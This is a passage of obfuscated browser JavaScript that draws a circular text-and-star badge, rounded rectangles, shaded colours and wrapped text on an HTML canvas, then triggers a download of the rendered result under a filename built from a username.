N7_O2,-DosX_N7_O3)],Q[nD(DosX_N7_O4,0,DosX_N7_O5,DosX_N7_O6,DosX_N7_qI)]=nI(-DosX_N7_O7,DosX_N7_C5,0,DosX_N7_O9,-DosX_N7_vH)+nI(DosX_N7_G,DosX_N7_OB,0,DosX_N7_Oq,DosX_N7_OW)+nn(0,DosX_N7_OK,DosX_N7_Op,0,DosX_N7_Oj),B[nm(0,DosX_N7_Oi,DosX_N7_Ou,DosX_N7_OI,DosX_N7_Oe)]);for(let Z=0;Z<X[nD(DosX_N7_OD,0,DosX_N7_Om,DosX_N7_OP,DosX_N7_pr)];Z++){var N=Math.PI+B[nD(DosX_N7_OC,0,DosX_N7_OX,DosX_N7_ON,DosX_N7_OR)](.15,Z-B[nm(0,DosX_N7_Ov,DosX_N7_Oa,DosX_N7_OO,DosX_N7_Or)](X[nI(DosX_N7_Ob,DosX_N7_Kx,0,DosX_N7_Ok,DosX_N7_Oh)],2));Q[nm(0,DosX_N7_OH,DosX_N7_Od,DosX_N7_Og,DosX_N7_OE)](),Q[ne(-DosX_N7_Ol,DosX_N7_OF,0,DosX_N7_OM,-DosX_N7_Ot)](B[nD(DosX_N7_OZ,0,DosX_N7_Os,DosX_N7_OT,DosX_N7_OL)](56,Math[nD(DosX_N7_OY,0,DosX_N7_OA,DosX_N7_Ow,DosX_N7_Ox)](N)),56*Math[nm(0,DosX_N7_r0,DosX_N7_r1,DosX_N7_PZ,DosX_N7_r2)](N)),Q[nn(0,DosX_N7_r4,DosX_N7_r5,0,DosX_N7_r7)](B[nn(0,DosX_N7_r9,DosX_N7_rB,0,DosX_N7_K1)](N,Math.PI/2)),Q[nm(0,DosX_N7_rW,DosX_N7_rf,DosX_N7_rK,DosX_N7_rp)](X[Z],0,0),Q[ne(DosX_N7_rj,DosX_N7_ry,0,DosX_N7_O0,DosX_N7_ri)]()}Q[ne(DosX_N7_ru,DosX_N7_rI,0,DosX_N7_fB,DosX_N7_en)]=ne(DosX_N7_rD,DosX_N7_rn,0,DosX_N7_rP,DosX_N7_rC)+nn(0,DosX_N7_XJ,DosX_N7_rX,0,DosX_N7_Pw)+nD(DosX_N7_NF,0,DosX_N7_rR,DosX_N7_rV,DosX_N7_Wf)+nm(0,DosX_N7_ra,DosX_N7_rO,DosX_N7_od,DosX_N7_rr),Q[nI(DosX_N7_rb,DosX_N7_Ce,0,DosX_N7_rk,DosX_N7_rh)]=ne(DosX_N7_rz,DosX_N7_rH,0,DosX_N7_rg,DosX_N7_rE)+nn(0,DosX_N7_rl,DosX_N7_rF,0,DosX_N7_NA)+nD(-DosX_N7_rM,0,DosX_N7_rZ,DosX_N7_oL,DosX_N7_rc),Q[ne(DosX_N7_rs,DosX_N7_rT,0,DosX_N7_VX,DosX_N7_rY)](B[nD(DosX_N7_rJ,0,DosX_N7_rw,DosX_N7_rx,DosX_N7_Uo)],0,-14),Q[nI(DosX_N7_rG,DosX_N7_b0,0,DosX_N7_b2,DosX_N7_b3)](nD(DosX_N7_b4,0,DosX_N7_b6,DosX_N7_b7,DosX_N7_b8),0,2),Q[nm(0,DosX_N7_bB,-DosX_N7_bo,DosX_N7_bq,DosX_N7_b6)+\"le\"]=nm(0,DosX_N7_bf,DosX_N7_bK,DosX_N7_yz,DosX_N7_bp)+nn(0,DosX_N7_by,DosX_N7_bi,0,DosX_N7_V5)+nI(DosX_N7_bI,DosX_N7_be,0,DosX_N7_bn,DosX_N7_bm),Q[ne(DosX_N7_bP,DosX_N7_bC,0,DosX_N7_bX,DosX_N7_bN)]=1,Q[ne(DosX_N7_bR,DosX_N7_bV,0,DosX_N7_ba,DosX_N7_bO)](),Q[nn(0,-DosX_N7_bb,-DosX_N7_bQ,0,DosX_N7_bh)](-25,14),Q[ne(DosX_N7_bz,DosX_N7_bH,0,DosX_N7_bg,DosX_N7_bE)](25,14),Q[nI(DosX_N7_i6,DosX_N7_IG,0,DosX_N7_bF,DosX_N7_bS)](),Q[nD(DosX_N7_bM,0,DosX_N7_I3,DosX_N7_bZ,DosX_N7_bc)]=nn(0,DosX_N7_bT,DosX_N7_bL,0,DosX_N7_bJ)+nn(0,DosX_N7_bw,DosX_N7_bx,0,DosX_N7_Q0)+nI(DosX_N7_Q1,DosX_N7_od,0,DosX_N7_Q3,DosX_N7_Xk)+nn(0,DosX_N7_Q5,DosX_N7_Q6,0,DosX_N7_Q8),Q[nm(0,DosX_N7_QB,DosX_N7_Qo,DosX_N7_XM,DosX_N7_Qq)]=ne(DosX_N7_QW,DosX_N7_Qf,0,DosX_N7_Qp,DosX_N7_Qj)+nn(0,DosX_N7_Qy,DosX_N7_Qi,0,DosX_N7_P1)+ne(DosX_N7_QI,DosX_N7_Qe,0,DosX_N7_Qn,DosX_N7_Qm),Q[nm(0,DosX_N7_QC,DosX_N7_QU,DosX_N7_QX,DosX_N7_QN)](ne(DosX_N7_U5,DosX_N7_QR,0,DosX_N7_Bk,DosX_N7_Qv),0,26),Q[nD(DosX_N7_Qa,0,DosX_N7_Qr,DosX_N7_Qb,DosX_N7_QQ)]=nD(DosX_N7_Qk,0,DosX_N7_Qz,DosX_N7_QH,DosX_N7_uw)+ne(-DosX_N7_Qd,DosX_N7_Qg,0,DosX_N7_QE,-DosX_N7_Ql)+nm(0,DosX_N7_QF,DosX_N7_QS,DosX_N7_b8,DosX_N7_QM)+\"e\",Q[nn(0,DosX_N7_QZ,-DosX_N7_Qc,0,DosX_N7_pN)]=nI(DosX_N7_QT,DosX_N7_O0,0,DosX_N7_QY,DosX_N7_QJ)+ne(DosX_N7_QA,DosX_N7_Qw,0,DosX_N7_QG,DosX_N7_k0)+ne(-DosX_N7_k1,-DosX_N7_k2,0,DosX_N7_k4,-DosX_N7_k5),Q[nI(DosX_N7_k6,DosX_N7_yB,0,DosX_N7_k8,DosX_N7_k9)](DosX_N7_V[ne(DosX_N7_kB,DosX_N7_ko,0,DosX_N7_iF,DosX_N7_kW)](0,8)[ne(-DosX_N7_R3,DosX_N7_kf,0,DosX_N7_kp,DosX_N7_kj)+\"se\"](),0,38),Q[nn(0,DosX_N7_ki,DosX_N7_ku,0,DosX_N7_NX)](DosX_N7_V[nI(DosX_N7_ke,DosX_N7_NA,0,DosX_N7_kn,DosX_N7_km)](8,16)[nI(DosX_N7_vf,DosX_N7_kP,0,DosX_N7_kU,DosX_N7_kX)+\"se\"](),0,46),Q[nD(DosX_N7_kN,0,DosX_N7_kV,DosX_N7_kv,DosX_N7_ka)]=nn(0,-DosX_N7_kO,DosX_N7_kr,0,DosX_N7_kQ)+nn(0,DosX_N7_mG,DosX_N7_kh,0,DosX_N7_NX)+nD(DosX_N7_kH,0,DosX_N7_kg,DosX_N7_kE,DosX_N7_Wl),Q[nm(0,DosX_N7_kF,DosX_N7_kS,DosX_N7_bq,DosX_N7_kM)]=nn(0,DosX_N7_kZ,DosX_N7_kc,0,DosX_N7_kT)+\"l\";for(let L=0;L<12;L++){var R=L*Math.PI*2/12,V=73*Math[nm(0,DosX_N7_kY,DosX_N7_kJ,DosX_N7_X0,DosX_N7_kA)](R),O=73*Math[nD(DosX_N7_bs,0,DosX_N7_kx,DosX_N7_kG,DosX_N7_h0)](R);Q[nD(DosX_N7_h1,0,DosX_N7_h3,DosX_N7_h4,DosX_N7_Qp)](),Q[nD(DosX_N7_h5,0,DosX_N7_yb,DosX_N7_h7,DosX_N7_h8)](V,O),Q[nI(DosX_N7_h9,DosX_N7_W1,0,DosX_N7_r3,DosX_N7_ho)](R),Q[nm(0,DosX_N7_hq,DosX_N7_h9,DosX_N7_Ce,DosX_N7_hW)](\"★\",0,0),Q[ne(DosX_N7_hf,DosX_N7_hK,0,DosX_N7_hj,DosX_N7_hy)]()}Q[nI(DosX_N7_XW,DosX_N7_hi,0,DosX_N7_hu,DosX_N7_hI)](),DosX_N7_O=B[nm(0,DosX_N7_hD,DosX_N7_hn,DosX_N7_IL,DosX_N7_hm)](C,DosX_N7_U[nD(DosX_N7_hP,0,DosX_N7_hU,DosX_N7_hX,DosX_N7_Vq)](nm(0,DosX_N7_hR,DosX_N7_hV,DosX_N7_hv,DosX_N7_ha)),DosX_N7_R),(DosX_N7_Q=document[ne(DosX_N7_hO,DosX_N7_hr,0,DosX_N7_pp,DosX_N7_hQ)+ne(-DosX_N7_hk,DosX_N7_hh,0,DosX_N7_Ns,DosX_N7_hH)](\"a\"))[nD(-DosX_N7_hd,0,DosX_N7_hE,-DosX_N7_hl,DosX_N7_NA)]=nD(-DosX_N7_hF,0,-DosX_N7_hM,DosX_N7_ht,DosX_N7_vA)+nm(0,DosX_N7_hc,DosX_N7_bM,DosX_N7_hs,DosX_N7_hT)+ne(DosX_N7_hL,DosX_N7_hY,0,DosX_N7_hs,DosX_N7_hA)+y[nI(DosX_N7_hw,DosX_N7_hx,0,DosX_N7_z0,DosX_N7_z1)][nD(DosX_N7_z2,0,DosX_N7_z4,DosX_N7_z5,DosX_N7_QQ)](\"@\",\"\")+nD(DosX_N7_z6,0,DosX_N7_z8,DosX_N7_z9,DosX_N7_zB),DosX_N7_Q[nn(0,DosX_N7_zq,-DosX_N7_zW,0,DosX_N7_P9)]=DosX_N7_O,DosX_N7_Q[nI(DosX_N7_zK,DosX_N7_zp,0,DosX_N7_CU,DosX_N7_zy)]()}}function t(W,K,j,D,U,X,N,R){var DosX_Nj_W=\"@z9)\",DosX_Nj_U=1382,DosX_Nj_X=598,DosX_Nj_V=\")Lf8\",DosX_Nj_O=\"mlQ7\",DosX_Nj_Q=1373,DosX_Nj_F=4582,DosX_Nj_Z=3445,DosX_Nj_L=4797,DosX_Nj_G=\"f$Am\",DosX_Nj_B0=101,DosX_Nj_B1=\"p#OH\",DosX_Nj_B3=1929,DosX_Nj_B4=1665,DosX_Nj_B5=\"*$d[\",DosX_Nj_B6=7501,DosX_Nj_B9=5596,DosX_Nj_BB=3559,DosX_Nj_Bo=6745,DosX_Nj_Bf=\"v$9*\",DosX_Nj_Bp=7234,DosX_Nj_Bj=10633,DosX_Nj_By=\"#eLW\",DosX_Nj_Bi=7492,DosX_Nj_Bu=\"J9b^\",DosX_Nj_BI=5932,DosX_Nj_Bn=5394,DosX_Nj_Bm=\"gv1I\",DosX_Nj_BP=1873,DosX_Nj_BX=3069,DosX_Nj_BN=2486,DosX_Nj_BR=1334,DosX_Nj_Ba=2488,DosX_Nj_BO=890,DosX_Nj_BQ=\"n2r*\",DosX_Nj_Bk=842,DosX_Nj_BH=\")Lf8\",DosX_Nj_Bd=5181,DosX_Nj_Bl=6592,DosX_Nj_BF=3462,DosX_Nj_BS=\"euG2\",DosX_Nj_Bt=5052,DosX_Nj_BZ=2388,DosX_Nj_Bs=5609,DosX_Nj_BT=2290,DosX_Nj_BL=\"w0LC\",DosX_Nj_BY=4135,DosX_Nj_BJ=4553,DosX_Nj_BA=\"Z[nw\",DosX_Nj_Bx=1208,DosX_Nj_BG=2722,DosX_Nj_o0=4790,DosX_Nj_o1=\"GEgV\",DosX_Nj_o3=2963,DosX_Nj_o4=3021,DosX_Nj_o5=2215,DosX_Nj_o6=1205,DosX_Nj_o9=\"Qsdo\",DosX_Nj_oo=2888,DosX_Nj_oq=8561,DosX_Nj_oW=6155,DosX_Nj_of=1851,DosX_Nj_oK=1923,DosX_Nj_op=4069,DosX_Nj_oj=609,DosX_Nj_oy=\"i8^y\",DosX_Nj_ou=1136,DosX_Nj_oI=3096,DosX_Nj_oe=\"6Gdc\",DosX_Nj_oD=1859,DosX_Nj_on=1626,DosX_Nj_om=3123,DosX_Nj_oU=\"gdDi\",DosX_Nj_oX=344,DosX_Nj_oV=3395,DosX_Nj_oa=1735,DosX_Nj_oO=2977,DosX_Nj_or=\"mQoF\",DosX_Nj_ob=4812,DosX_Nj_ok=1677,DosX_Nj_oh=1580,DosX_Nj_oz=\"gdDi\",DosX_Nj_oH=1338,DosX_Nj_og=4124,DosX_Nj_oE=839,DosX_Nj_ol=\"MB5V\",DosX_Nj_oF=949,DosX_Nj_oS=3924,DosX_Nj_oM=641,DosX_Nj_oc=\"#eLW\",DosX_Nf_B=484,DosX_Nf_W=297,DosX_Nf_K=1047,DosX_Nf_j=443,DosX_NW_B=120,DosX_NW_W=21,DosX_NW_K=1241,DosX_NW_j=429,DosX_Nq_B=420,DosX_Nq_W=416,DosX_Nq_K=195,DosX_Nq_j=41,DosX_NB_B=259,DosX_NB_W=175,DosX_NB_K=110,DosX_NB_j=329,DosX_N8_B=266,DosX_N8_W=164,DosX_N8_K=1225,DosX_N8_j=242;function ng(B,W,K,j,D){return DosX_eD(B-DosX_N8_B,W-DosX_N8_W,B,D-DosX_N8_K,D-DosX_N8_j)}var V={};function nd(B,W,K,j,D){return DosX_eD(B-DosX_NB_B,W-DosX_NB_W,D,B-DosX_NB_K,D-DosX_NB_j)}function nH(B,W,K,j,D){return DosX_eD(B-DosX_NW_B,W-DosX_NW_W,W,j-DosX_NW_K,D-DosX_NW_j)}function nl(B,W,K,j,D){return DosX_em(j,W-DosX_Nf_B,K-DosX_Nf_W,D- -DosX_Nf_K,D-DosX_Nf_j)}V[nH(1508,DosX_Nj_W,0,838,3072)]=function(Q,z){return Q-z},V[nd(DosX_Nj_U,DosX_Nj_X,0,0,DosX_Nj_V)]=function(Q,z){return Q+z},V[ng(DosX_Nj_O,DosX_Nj_Q,0,0,DosX_Nj_F)]=function(Q,z){return Q+z},V[nd(DosX_Nj_Z,DosX_Nj_L,0,0,DosX_Nj_G)]=function(Q,z){return Q+z};DosX_Nj_X=V;W[nH(DosX_Nj_B0,DosX_Nj_B1,0,DosX_Nj_B3,DosX_Nj_B4)](),W[ng(DosX_Nj_B5,DosX_Nj_B6,0,0,DosX_Nj_B9)](K+X,j),W[nd(DosX_Nj_BB,DosX_Nj_Bo,0,0,DosX_Nj_Bf)](DosX_Nj_X[nl(0,DosX_Nj_Bp,DosX_Nj_Bj,DosX_Nj_By,DosX_Nj_Bi)](K+D,X),j),W[ng(DosX_Nj_Bu,DosX_Nj_BI,0,0,DosX_Nj_Bn)+ng(DosX_Nj_Bm,DosX_Nj_BP,0,0,DosX_Nj_BX)](K+D,j,DosX_Nj_X[nd(DosX_Nj_BN,-DosX_Nj_BR,0,0,DosX_Nj_W)](K,D),j+X),W[nd(DosX_Nj_Ba,-DosX_Nj_BO,0,0,DosX_Nj_BQ)](K+D,DosX_Nj_X[nd(DosX_Nj_U,DosX_Nj_Bk,0,0,DosX_Nj_BH)](j,U)-X),W[ng(DosX_Nj_W,DosX_Nj_Bd,0,0,DosX_Nj_Bl)+nH(DosX_Nj_BF,DosX_Nj_BS,0,DosX_Nj_Bt,DosX_Nj_BZ)](DosX_Nj_X[nl(0,DosX_Nj_Bs,DosX_Nj_BT,DosX_Nj_BL,DosX_Nj_BY)](K,D),j+U,K+D-X,j+U),W[nH(DosX_Nj_BJ,DosX_Nj_BA,0,DosX_Nj_Bx,DosX_Nj_BG)](K+X,DosX_Nj_X[nH(DosX_Nj_o0,DosX_Nj_o1,0,DosX_Nj_o3,DosX_Nj_o4)](j,U)),W[nd(DosX_Nj_o5,-DosX_Nj_o6,0,0,DosX_Nj_o9)+nl(0,DosX_Nj_oo,DosX_Nj_oq,DosX_Nj_BA,DosX_Nj_oW)](K,j+U,K,DosX_Nj_X[((B,W,K,j,D)=>DosX_ee(B-DosX_Nq_B,W- -DosX_Nq_W,K-DosX_Nq_K,j-DosX_Nq_j,D))(-DosX_Nj_of,DosX_Nj_oK,DosX_Nj_op,DosX_Nj_oj,DosX_Nj_oy)](j,U)-X),W[nl(0,-DosX_Nj_ou,DosX_Nj_oI,DosX_Nj_oe,DosX_Nj_oD)](K,DosX_Nj_X[nd(DosX_Nj_on,DosX_Nj_om,0,0,DosX_Nj_W)](j,X)),W[ng(DosX_Nj_oU,-DosX_Nj_oX,0,0,DosX_Nj_oV)+nl(0,DosX_Nj_oa,DosX_Nj_oO,DosX_Nj_or,DosX_Nj_ob)](K,j,K+X,j),W[nl(0,-DosX_Nj_ok,-DosX_Nj_oh,DosX_Nj_oz,DosX_Nj_oH)](),N&&W[nl(0,DosX_Nj_og,-DosX_Nj_oE,DosX_Nj_ol,DosX_Nj_oF)](),R&&W[nd(DosX_Nj_oS,DosX_Nj_oM,0,0,DosX_Nj_oc)]()}function M(W,K){var DosX_NC_U=\"piSq\",DosX_NC_X=8035,DosX_NC_N=4211,DosX_NC_R=5089,DosX_NC_V=7675,DosX_NC_O=\"Qsdo\",DosX_NC_Q=8356,DosX_NC_z=3062,DosX_NC_H=5880,DosX_NC_F=3400,DosX_NC_Z=4403,DosX_NC_L=\"w0LC\",DosX_NC_Y=5723,DosX_NC_G=9118,DosX_NC_B1=6008,DosX_NC_B2=5406,DosX_NC_B3=\"6Gdc\",DosX_NC_B4=5813,DosX_NC_B5=\"euG2\",DosX_NC_B6=6139,DosX_NC_B7=3689,DosX_NC_B8=7084,DosX_NC_B9=4636,DosX_NC_BB=\"#eLW\",DosX_NC_Bq=6342,DosX_NC_BW=4928,DosX_NC_BK=\"yAXs\",DosX_NC_Bp=1103,DosX_NC_Bj=1373,DosX_NC_By=1619,DosX_NC_Bi=320,DosX_NC_Bu=\"mQoF\",DosX_NC_Be=4861,DosX_NC_BD=3621,DosX_NC_Bm=\"FCGK\",DosX_NC_BC=8153,DosX_NC_BU=7255,DosX_NC_BN=1855,DosX_NC_BR=\"m6]b\",DosX_NC_BV=2146,DosX_NC_Ba=4095,DosX_NC_BO=\"FVzc\",DosX_NC_Bb=771,DosX_NC_BQ=1823,DosX_NC_Bh=4767,DosX_NC_Bz=\"XO53\",DosX_NC_BH=1703,DosX_NC_Bg=242,DosX_NC_Bl=4078,DosX_NC_BF=2885,DosX_NC_BS=\"Qsdo\",DosX_NC_BM=1921,DosX_NP_B=429,DosX_NP_W=385,DosX_NP_K=1504,DosX_NP_j=433,DosX_Nm_B=4,DosX_Nm_W=1288,DosX_Nm_K=400,DosX_Nm_j=428,DosX_ND_B=289,DosX_ND_W=207,DosX_ND_K=841,DosX_ND_j=402,DosX_Ne_B=423,DosX_Ne_W=230,DosX_Ne_K=228,DosX_Ne_j=496,j={};function nS(B,W,K,j,D){return DosX_em(B,W-DosX_Ne_B,K-DosX_Ne_W,j- -DosX_Ne_K,D-DosX_Ne_j)}function nF(B,W,K,j,D){return DosX_eI(B-DosX_ND_B,W-DosX_ND_W,W,K- -DosX_ND_K,D-DosX_ND_j)}j[nF(6077,\"#hmO\",6460,0,4194)]=function(N,R){return N>>R},j[nS(DosX_NC_U,DosX_NC_X,DosX_NC_N,DosX_NC_R,DosX_NC_V)]=function(N,R){return N+R},j[nS(DosX_NC_O,DosX_NC_Q,DosX_NC_z,DosX_NC_H,DosX_NC_F)]=function(N,R){return N&R},j[nF(DosX_NC_Z,DosX_NC_L,DosX_NC_Y,0,DosX_NC_G)]=function(N,R){return N<R};DosX_NC_U=j,W=parseInt(W[nZ(0,DosX_NC_B1,DosX_NC_B2,DosX_NC_B3,DosX_NC_B4)](\"#\",\"\"),16),K=Math[nS(DosX_NC_B5,DosX_NC_B6,DosX_NC_B7,DosX_NC_B8,DosX_NC_B9)](2.55*K),DosX_NC_X=DosX_NC_U[nt(DosX_NC_BB,0,DosX_NC_Bq,DosX_NC_BW)](W,16)+K,DosX_NC_N=DosX_NC_U[nS(DosX_NC_BK,-DosX_NC_Bp,DosX_NC_Bj,DosX_NC_By,-DosX_NC_Bi)](DosX_NC_U[nt(DosX_NC_Bu,0,DosX_NC_Be,DosX_NC_BD)](W>>8,255),K),W=DosX_NC_U[nt(DosX_NC_Bm,0,DosX_NC_BC,DosX_NC_BU)](255&W,K);function nt(B,W,K,j){return DosX_ee(B-DosX_Nm_B,j-DosX_Nm_W,K-DosX_Nm_K,j-DosX_Nm_j,B)}function nZ(B,W,K,j,D){return DosX_em(j,W-DosX_NP_B,K-DosX_NP_W,K- -DosX_NP_K,D-DosX_NP_j)}return\"#\"+(16777216+65536*(DosX_NC_U[nF(DosX_NC_BN,DosX_NC_BR,DosX_NC_BV,0,DosX_NC_Ba)](DosX_NC_X,255)?DosX_NC_X<1?0:DosX_NC_X:255)+256*(DosX_NC_N<255?DosX_NC_N<1?0:DosX_NC_N:255)+(DosX_NC_U[nt(DosX_NC_BO,0,-DosX_NC_Bb,DosX_NC_BQ)](W,255)?W<1?0:W:255))[nF(DosX_NC_Bh,DosX_NC_Bz,DosX_NC_BH,0,DosX_NC_Bg)](16)[nZ(0,DosX_NC_Bl,DosX_NC_BF,DosX_NC_BS,DosX_NC_BM)](1)}function S(W,K,j,D,U,X){var DosX_Na_U=10985,DosX_Na_X=\"7Or@\",DosX_Na_N=10562,DosX_Na_R=6232,DosX_Na_V=7240,DosX_Na_O=5249,DosX_Na_Q=\"TEJX\",DosX_Na_H=3232,DosX_Na_F=5642,DosX_Na_Z=3215,DosX_Na_L=\"*$d[\",DosX_Na_J=4533,DosX_Na_G=7282,DosX_Na_B0=5412,DosX_Na_B1=4248,DosX_Na_B3=\"m6]b\",DosX_Na_B4=6190,DosX_Na_B5=8440,DosX_Na_B6=\"v$9*\",DosX_Na_B8=7572,DosX_Na_B9=8202,DosX_Na_BB=4648,DosX_Na_Bo=3249,DosX_Na_BW=\"0jPz\",DosX_Na_Bf=2061,DosX_Na_Bp=1669,DosX_Na_Bj=\"91cp\",DosX_Na_Bi=2678,DosX_Na_BI=6514,DosX_Na_Be=\"yAXs\",DosX_Na_Bn=9634,DosX_Na_Bm=1819,DosX_Na_BP=\"FVzc\",DosX_Na_BX=3472,DosX_Na_BN=8613,DosX_Na_BV=5879,DosX_Na_Bv=9326,DosX_Na_Ba=859,DosX_Na_BO=\"iW3p\",DosX_Na_BQ=2896,DosX_Nv_B=65,DosX_Nv_W=162,DosX_Nv_K=660,DosX_Nv_j=62,DosX_NV_B=283,DosX_NV_W=440,DosX_NV_K=1824,DosX_NV_j=499,DosX_NR_B=133,DosX_NR_W=1,DosX_NR_K=134,DosX_NR_j=231,DosX_NN_B=82,DosX_NN_W=319,DosX_NN_K=1046,DosX_NN_j=389,DosX_NX_B=371,DosX_NX_W=243,DosX_NX_K=247,DosX_NX_j=307,N={},R=(N[nc(3376,\"w0LC\",0,0,1461)]=function(H,F){return H<F},N);let V=K[nc(DosX_Na_U,DosX_Na_X,0,0,DosX_Na_V)](\" \"),O=\"\",Q=D;function nY(B,W,K,j,D){return DosX_en(B-DosX_NX_B,W-DosX_NX_W,j,j-DosX_NX_K,D-DosX_NX_j)}function ns(B,W,K,j,D){return DosX_eI(B-DosX_NN_B,W-DosX_NN_W,W,j- -DosX_NN_K,D-DosX_NN_j)}function nc(B,W,K,j,D){return DosX_eI(B-DosX_NR_B,W-DosX_NR_W,W,D-DosX_NR_K,D-DosX_NR_j)}function nL(B,W,K,j,D){return DosX_em(K,W-DosX_NV_B,K-DosX_NV_W,W- -DosX_NV_K,D-DosX_NV_j)}W[ns(DosX_Na_O,DosX_Na_Q,0,DosX_Na_H,DosX_Na_F)]=ns(DosX_Na_Z,DosX_Na_L,0,DosX_Na_J,DosX_Na_G);for(let H=0;R[nY(DosX_Na_B0,DosX_Na_B1,0,DosX_Na_B3,DosX_Na_B4)](H,V[ns(DosX_Na_B5,DosX_Na_B6,0,DosX_Na_B8,DosX_Na_B9)]);H++){var z=O+V[H]+\" \";U<W[nY(DosX_Na_BB,DosX_Na_Bo,0,DosX_Na_BW,DosX_Na_Bf)+\"xt\"](z)[nL(0,DosX_Na_Bp,DosX_Na_Bj,0,DosX_Na_Bi)]&&0<H?(W[nL(0,DosX_Na_BI,DosX_Na_Be,0,DosX_Na_Bn)](O[((B,W,D)=>DosX_eD(B-DosX_Nv_B,W-DosX_Nv_W,W,D-DosX_Nv_K,D-DosX_Nv_j))(DosX_Na_Bm,DosX_Na_BP,DosX_Na_BX)](),j,Q),O=V[H]+\" \",Q+=X):O=z}return W[ns(DosX_Na_BN,DosX_Na_BW,0,DosX_Na_BV,DosX_Na_Bv)](O[nc(DosX_Na_Ba,DosX_Na_BO,0,0,DosX_Na_BQ)](),j,Q),Q}function q(W,K,j,D,U,X){var DosX_NH_K=\"6Gdc\",DosX_NH_U=5028,DosX_NH_X=2924,DosX_NH_N=\"O*79\",DosX_NH_R=1154,DosX_NH_V=5088,DosX_NH_O=3384,DosX_NH_Q=1856,DosX_NH_H=1537,DosX_NH_F=\"KEHY\",DosX_NH_Z=685,DosX_NH_L=\"*$d[\",DosX_NH_Y=2311,DosX_NH_J=1671,DosX_NH_G=4899,DosX_NH_B0=3033,DosX_NH_B1=6769,DosX_NH_B2=\"QAYB\",DosX_NH_B3=6333,DosX_NH_B4=5298,DosX_NH_B5=8444,DosX_NH_B6=4735,DosX_NH_B7=10926,DosX_NH_B8=\"v$9*\",DosX_NH_B9=7610,DosX_NH_BB=3135,DosX_NH_Bo=3336,DosX_NH_Bq=6600,DosX_NH_BW=835,DosX_NH_Bf=152,DosX_NH_BK=951,DosX_NH_Bj=2552,DosX_NH_By=\"gv1I\",DosX_NH_Bi=4573,DosX_NH_Bu=7086,DosX_NH_BI=3004,DosX_NH_Be=\"@d!&\",DosX_NH_BD=4949,DosX_NH_Bm=6247,DosX_NH_BP=\"FCGK\",DosX_NH_BU=8216,DosX_NH_BN=4174,DosX_NH_BR=\"XO53\",DosX_NH_Bv=6831,DosX_NH_BO=2908,DosX_NH_Br=\"0jPz\",DosX_NH_BQ=293,DosX_NH_Bk=8293,DosX_NH_Bh=5926,DosX_NH_BH=9605,DosX_NH_Bd=\"v$9*\",DosX_Nz_B=49,DosX_Nz_W=312,DosX_Nz_K=174,DosX_Nz_j=283,DosX_Nh_B=198,DosX_Nh_W=355,DosX_Nh_K=1428,DosX_Nh_j=191,DosX_Nk_B=300,DosX_Nk_W=161,DosX_Nk_K=1167,DosX_Nk_j=278,DosX_NQ_B=404,DosX_NQ_W=959,DosX_NQ_K=233,DosX_NQ_j=156,DosX_NO_B=233,DosX_NO_W=1360,DosX_NO_K=43,DosX_NO_j=438;var N={};function nw(B,W,K,j,D){return DosX_en(B-DosX_NQ_B,W-DosX_NQ_W,D,j-DosX_NQ_K,D-DosX_NQ_j)}N[nJ(0,2427,DosX_NH_K,0,3647)]=function(H,F){return H+F},N[nJ(0,DosX_NH_X,DosX_NH_N,0,DosX_NH_V)]=function(H,F){return H<F};let R=N,V=K[nw(DosX_NH_O,DosX_NH_Q,0,-DosX_NH_H,DosX_NH_F)](\" \"),O=\"\",Q=D;function nJ(B,W,K,j,D){return DosX_em(K,W-DosX_Nk_B,K-DosX_Nk_W,W- -DosX_Nk_K,D-DosX_Nk_j)}function nG(B,W,K,j,D){return DosX_em(K,W-DosX_Nh_B,K-DosX_Nh_W,W- -DosX_Nh_K,D-DosX_Nh_j)}W[((B,W,K,j,D)=>DosX_en(B-DosX_NO_B,K-DosX_NO_W,W,j-DosX_NO_K,D-DosX_NO_j))(-DosX_NH_Z,DosX_NH_L,DosX_NH_Y,DosX_NH_J,DosX_NH_G)]=nG(0,DosX_NH_B1,DosX_NH_B2,0,DosX_NH_B4);for(let H=0;H<V[nA(DosX_NH_B5,DosX_NH_B6,0,DosX_NH_B8,DosX_NH_B9)];H++){var z=R[nA(DosX_NH_BB,DosX_NH_Bo,0,DosX_NH_K,DosX_NH_BW)](O+V[H],\" \");R[nw(DosX_NH_Bf,DosX_NH_BK,0,-DosX_NH_Bj,DosX_NH_By)](U,W[nA(DosX_NH_Bi,DosX_NH_Bu,0,DosX_NH_Be,DosX_NH_BD)+\"xt\"](z)[nG(0,DosX_NH_Bm,DosX_NH_BP,0,DosX_NH_BU)])&&0<H?(W[nG(0,DosX_NH_BN,DosX_NH_BR,0,DosX_NH_Bv)](O,j,Q),O=R[nG(0,DosX_NH_BO,DosX_NH_Br,0,DosX_NH_BQ)](V[H],\" \"),Q+=X):O=z}function nA(B,W,K,j,D){return DosX_eI(B-DosX_Nz_B,W-DosX_Nz_W,j,B- -DosX_Nz_K,D-DosX_Nz_j)}W[nw(DosX_NH_Bk,DosX_NH_Bh,0,DosX_NH_BH,DosX_NH_Bd)](O,j,Q)}function T(W,K,j){var V,O,H,DosX_NM_U=1541,DosX_NM_X=\"euG2\",DosX_NM_N=2838,DosX_NM_R=762,DosX_NM_V=831,DosX_NM_O=2072,DosX_NM_Q=\"m6]b\",DosX_NM_F=5103,DosX_NM_Z=4504,DosX_NM_L=4807,DosX_NM_Y=\"w0LC\",DosX_NM_J=4834,DosX_NM_G=1611,DosX_NM_B0=3237,DosX_NM_B1=1072,DosX_NM_B2=\"hP1P\",DosX_NM_B3=606,DosX_NM_B4=2669,DosX_NM_B5=6838,DosX_NM_B6=4522,DosX_NM_B7=\"0jPz\",DosX_NM_B8=2662,DosX_NM_B9=7178,DosX_NM_BB=2564,DosX_NM_Bo=6266,DosX_NM_Bq=3236,DosX_NM_Bf=\"6Gdc\",DosX_NM_BK=737,DosX_NM_Bp=1929,DosX_NM_Bj=1018,DosX_NM_By=357,DosX_NM_Bi=\"m6]b\",DosX_NM_Bu=4845,DosX_NM_BI=1534,DosX_NM_Be=4258,DosX_NM_Bn=2396,DosX_NM_Bm=\"gv1I\",DosX_NM_BU=944,DosX_NM_BX=2712,DosX_NM_BN=89,DosX_NM_BR=5883,DosX_NM_BV=4786,DosX_NM_Bv=\"TEJX\",DosX_NM_Ba=3053,DosX_NM_BO=3374,DosX_NM_Br=646,DosX_NM_Bb=6308,DosX_NM_BQ=\"euG2\",DosX_NM_Bk=6631,DosX_NM_Bh=3246,DosX_NM_Bz=3536,DosX_NM_BH=5931,DosX_NM_Bd=\"QAYB\",DosX_NM_Bg=513,DosX_NM_BE=225,DosX_NM_Bl=\"p#OH\",DosX_NM_BF=619,DosX_NM_BS=4393,DosX_NM_BM=6754,DosX_NM_B